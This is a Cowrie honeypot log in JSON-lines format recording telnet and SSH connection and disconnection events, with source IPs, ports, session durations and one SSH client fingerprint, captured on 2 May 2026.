{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":44698,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb14679f1575","protocol":"telnet","message":"New connection: 174.138.46.234:44698 (159.203.135.109:23) [session: eb14679f1575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:17:08.824116Z"}
{"eventid":"cowrie.session.closed","duration":120.00192546844482,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:17:08.895923Z","src_ip":"104.159.79.14","session":"e34f1a2b30b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.966726541519165,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:17:12.732901Z","src_ip":"174.138.46.234","session":"a3d9a913f693","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.036386013031006,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:17:12.860371Z","src_ip":"174.138.46.234","session":"eb14679f1575","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":56964,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e28287c691e","protocol":"telnet","message":"New connection: 174.138.46.234:56964 (159.203.135.109:23) [session: 7e28287c691e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:17:51.371369Z"}
{"eventid":"cowrie.session.closed","duration":4.9925408363342285,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:17:56.363814Z","src_ip":"174.138.46.234","session":"7e28287c691e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.904541015625,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:17:58.296039Z","src_ip":"174.138.46.234","session":"302701c57fb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":41010,"dst_ip":"159.203.135.109","dst_port":23,"session":"fed85157d9de","protocol":"telnet","message":"New connection: 174.138.46.234:41010 (159.203.135.109:23) [session: fed85157d9de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:18:30.207886Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":41452,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c06ee052f73","protocol":"telnet","message":"New connection: 174.138.46.234:41452 (159.203.135.109:23) [session: 0c06ee052f73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:18:31.885121Z"}
{"eventid":"cowrie.session.closed","duration":4.014333486557007,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:18:34.221899Z","src_ip":"174.138.46.234","session":"fed85157d9de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.73.199.84","src_port":40012,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb5b76869e4d","protocol":"telnet","message":"New connection: 72.73.199.84:40012 (10.17.0.5:23) [session: fb5b76869e4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:19:00.654794Z"}
{"eventid":"cowrie.session.closed","duration":45.10759258270264,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:19:16.992607Z","src_ip":"174.138.46.234","session":"0c06ee052f73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":37342,"dst_ip":"159.203.135.109","dst_port":23,"session":"1357463d53fd","protocol":"telnet","message":"New connection: 174.138.46.234:37342 (159.203.135.109:23) [session: 1357463d53fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:19:53.162844Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":37358,"dst_ip":"159.203.135.109","dst_port":23,"session":"76479c044882","protocol":"telnet","message":"New connection: 174.138.46.234:37358 (159.203.135.109:23) [session: 76479c044882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:19:53.254394Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":37896,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0e61314cb35","protocol":"telnet","message":"New connection: 174.138.46.234:37896 (159.203.135.109:23) [session: d0e61314cb35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:19:54.975732Z"}
{"eventid":"cowrie.session.closed","duration":3.9957282543182373,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:19:57.158477Z","src_ip":"174.138.46.234","session":"1357463d53fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":37798,"dst_ip":"159.203.135.109","dst_port":23,"session":"05655b35a03c","protocol":"telnet","message":"New connection: 174.138.46.234:37798 (159.203.135.109:23) [session: 05655b35a03c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:19:57.650778Z"}
{"eventid":"cowrie.session.closed","duration":5.93122935295105,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:19:59.185520Z","src_ip":"174.138.46.234","session":"76479c044882","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.382740259170532,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:20:05.033412Z","src_ip":"174.138.46.234","session":"05655b35a03c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":51674,"dst_ip":"159.203.135.109","dst_port":23,"session":"aea742de2afb","protocol":"telnet","message":"New connection: 174.138.46.234:51674 (159.203.135.109:23) [session: aea742de2afb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:20:43.984549Z"}
{"eventid":"cowrie.session.closed","duration":50.481531858444214,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:20:45.456987Z","src_ip":"174.138.46.234","session":"d0e61314cb35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":52240,"dst_ip":"159.203.135.109","dst_port":23,"session":"2875ee73502a","protocol":"telnet","message":"New connection: 174.138.46.234:52240 (159.203.135.109:23) [session: 2875ee73502a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:20:46.968689Z"}
{"eventid":"cowrie.session.closed","duration":4.04140830039978,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:20:48.025859Z","src_ip":"174.138.46.234","session":"aea742de2afb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.9966847896575928,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:20:50.965239Z","src_ip":"174.138.46.234","session":"2875ee73502a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01387333869934,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:21:00.668560Z","src_ip":"72.73.199.84","session":"fb5b76869e4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.73.199.84","src_port":50862,"dst_ip":"10.17.0.5","dst_port":23,"session":"fba72a64ffce","protocol":"telnet","message":"New connection: 72.73.199.84:50862 (10.17.0.5:23) [session: fba72a64ffce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:21:01.330767Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":41882,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1b14b5bc3bf","protocol":"telnet","message":"New connection: 174.138.46.234:41882 (159.203.135.109:23) [session: b1b14b5bc3bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:21:51.116513Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":42372,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d9dbd439130","protocol":"telnet","message":"New connection: 174.138.46.234:42372 (159.203.135.109:23) [session: 1d9dbd439130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:21:52.900868Z"}
{"eventid":"cowrie.session.closed","duration":5.910249471664429,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:21:57.026628Z","src_ip":"174.138.46.234","session":"b1b14b5bc3bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.73.86.103","src_port":52648,"dst_ip":"159.203.135.109","dst_port":23,"session":"af01b37234e9","protocol":"telnet","message":"New connection: 165.73.86.103:52648 (159.203.135.109:23) [session: af01b37234e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:21:57.091503Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":59902,"dst_ip":"159.203.135.109","dst_port":22,"session":"442344900a13","protocol":"ssh","message":"New connection: 194.59.206.2:59902 (159.203.135.109:22) [session: 442344900a13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:22:15.540374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:22:15.545078Z","src_ip":"194.59.206.2","session":"442344900a13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:22:15.651488Z","src_ip":"194.59.206.2","session":"442344900a13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:22:15.744731Z","src_ip":"194.59.206.2","session":"442344900a13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.196.68.10","src_port":23642,"dst_ip":"10.17.0.5","dst_port":23,"session":"90a695e69743","protocol":"telnet","message":"New connection: 38.196.68.10:23642 (10.17.0.5:23) [session: 90a695e69743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:22:17.066239Z"}
{"eventid":"cowrie.session.closed","duration":31.25946569442749,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:22:28.350880Z","src_ip":"165.73.86.103","session":"af01b37234e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.057764768600464,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:22:31.123857Z","src_ip":"38.196.68.10","session":"90a695e69743","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.06030583381653,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:22:34.961067Z","src_ip":"174.138.46.234","session":"1d9dbd439130","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":56988,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cc87fee5fb1","protocol":"telnet","message":"New connection: 174.138.46.234:56988 (159.203.135.109:23) [session: 0cc87fee5fb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:22:44.151434Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":59704,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c3ce98f0a5f","protocol":"telnet","message":"New connection: 174.138.46.234:59704 (159.203.135.109:23) [session: 3c3ce98f0a5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:22:53.682724Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":59852,"dst_ip":"159.203.135.109","dst_port":23,"session":"908d103dae71","protocol":"telnet","message":"New connection: 174.138.46.234:59852 (159.203.135.109:23) [session: 908d103dae71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:22:54.084699Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":60166,"dst_ip":"159.203.135.109","dst_port":23,"session":"9cfa04a4e947","protocol":"telnet","message":"New connection: 174.138.46.234:60166 (159.203.135.109:23) [session: 9cfa04a4e947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:22:55.307995Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":60310,"dst_ip":"159.203.135.109","dst_port":23,"session":"49d9dc93f759","protocol":"telnet","message":"New connection: 174.138.46.234:60310 (159.203.135.109:23) [session: 49d9dc93f759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:22:56.823878Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":60640,"dst_ip":"159.203.135.109","dst_port":23,"session":"72caa4722350","protocol":"telnet","message":"New connection: 174.138.46.234:60640 (159.203.135.109:23) [session: 72caa4722350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:22:56.950158Z"}
{"eventid":"cowrie.session.closed","duration":5.967745065689087,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:22:59.650364Z","src_ip":"174.138.46.234","session":"3c3ce98f0a5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.780073404312134,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:23:01.087969Z","src_ip":"174.138.46.234","session":"9cfa04a4e947","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00164937973022,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:23:01.332239Z","src_ip":"72.73.199.84","session":"fba72a64ffce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.773180723190308,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:23:02.723243Z","src_ip":"174.138.46.234","session":"72caa4722350","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"197.207.97.192","src_port":36710,"dst_ip":"159.203.135.109","dst_port":23,"session":"5441065c90a7","protocol":"telnet","message":"New connection: 197.207.97.192:36710 (159.203.135.109:23) [session: 5441065c90a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:23:19.468911Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":38814,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe3898ea45c9","protocol":"telnet","message":"New connection: 174.138.46.234:38814 (159.203.135.109:23) [session: fe3898ea45c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:23:20.287472Z"}
{"eventid":"cowrie.session.closed","duration":4.929512023925781,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:23:25.216869Z","src_ip":"174.138.46.234","session":"fe3898ea45c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":36518,"dst_ip":"10.17.0.5","dst_port":23,"session":"95c3f0a06f93","protocol":"telnet","message":"New connection: 199.231.212.75:36518 (10.17.0.5:23) [session: 95c3f0a06f93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:23:26.274836Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":41344,"dst_ip":"159.203.135.109","dst_port":23,"session":"27cd913367f4","protocol":"telnet","message":"New connection: 174.138.46.234:41344 (159.203.135.109:23) [session: 27cd913367f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:23:27.473300Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":41802,"dst_ip":"159.203.135.109","dst_port":23,"session":"cac06f499039","protocol":"telnet","message":"New connection: 174.138.46.234:41802 (159.203.135.109:23) [session: cac06f499039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:23:29.081574Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":42082,"dst_ip":"159.203.135.109","dst_port":23,"session":"27b035e06a21","protocol":"telnet","message":"New connection: 174.138.46.234:42082 (159.203.135.109:23) [session: 27b035e06a21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:23:30.198720Z"}
{"eventid":"cowrie.session.closed","duration":12.945673704147339,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:23:32.414448Z","src_ip":"197.207.97.192","session":"5441065c90a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":42558,"dst_ip":"159.203.135.109","dst_port":23,"session":"65b34cc77e94","protocol":"telnet","message":"New connection: 174.138.46.234:42558 (159.203.135.109:23) [session: 65b34cc77e94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:23:32.903333Z"}
{"eventid":"cowrie.session.closed","duration":50.64441704750061,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:23:34.795723Z","src_ip":"174.138.46.234","session":"0cc87fee5fb1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.830242872238159,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:23:36.028829Z","src_ip":"174.138.46.234","session":"27b035e06a21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":37546,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bf25c05ff28","protocol":"telnet","message":"New connection: 199.231.212.75:37546 (10.17.0.5:23) [session: 0bf25c05ff28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:23:39.492182Z"}
{"eventid":"cowrie.session.closed","duration":45.920509815216064,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:23:40.005126Z","src_ip":"174.138.46.234","session":"908d103dae71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.61773681640625,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:23:49.441504Z","src_ip":"174.138.46.234","session":"49d9dc93f759","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":48674,"dst_ip":"159.203.135.109","dst_port":23,"session":"472c3f27957b","protocol":"telnet","message":"New connection: 174.138.46.234:48674 (159.203.135.109:23) [session: 472c3f27957b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:23:53.866486Z"}
{"eventid":"cowrie.session.closed","duration":31.244563817977905,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:23:57.519277Z","src_ip":"199.231.212.75","session":"95c3f0a06f93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.866843938827515,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:23:59.733212Z","src_ip":"174.138.46.234","session":"472c3f27957b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50572,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a0ca77f3b7f","protocol":"telnet","message":"New connection: 174.138.46.234:50572 (159.203.135.109:23) [session: 6a0ca77f3b7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:24:00.223719Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":51096,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf6618888752","protocol":"telnet","message":"New connection: 174.138.46.234:51096 (159.203.135.109:23) [session: bf6618888752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:24:02.393933Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":51266,"dst_ip":"159.203.135.109","dst_port":23,"session":"12a6e3b0d9bc","protocol":"telnet","message":"New connection: 174.138.46.234:51266 (159.203.135.109:23) [session: 12a6e3b0d9bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:24:03.878447Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":51694,"dst_ip":"159.203.135.109","dst_port":23,"session":"43fa3e1502f2","protocol":"telnet","message":"New connection: 174.138.46.234:51694 (159.203.135.109:23) [session: 43fa3e1502f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:24:05.240534Z"}
{"eventid":"cowrie.session.closed","duration":5.9475929737091064,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:24:06.171114Z","src_ip":"174.138.46.234","session":"6a0ca77f3b7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.956311225891113,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:24:08.834617Z","src_ip":"174.138.46.234","session":"12a6e3b0d9bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60027265548706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:24:10.092324Z","src_ip":"199.231.212.75","session":"0bf25c05ff28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.919698476791382,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:24:10.313512Z","src_ip":"174.138.46.234","session":"bf6618888752","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.667747974395752,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:24:11.908188Z","src_ip":"174.138.46.234","session":"43fa3e1502f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.5406768321991,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:24:15.622147Z","src_ip":"174.138.46.234","session":"cac06f499039","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":55204,"dst_ip":"159.203.135.109","dst_port":23,"session":"10e2c06ea945","protocol":"telnet","message":"New connection: 174.138.46.234:55204 (159.203.135.109:23) [session: 10e2c06ea945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:24:17.765868Z"}
{"eventid":"cowrie.session.closed","duration":51.013468980789185,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:24:18.486660Z","src_ip":"174.138.46.234","session":"27cd913367f4","protocol":"telnet"}
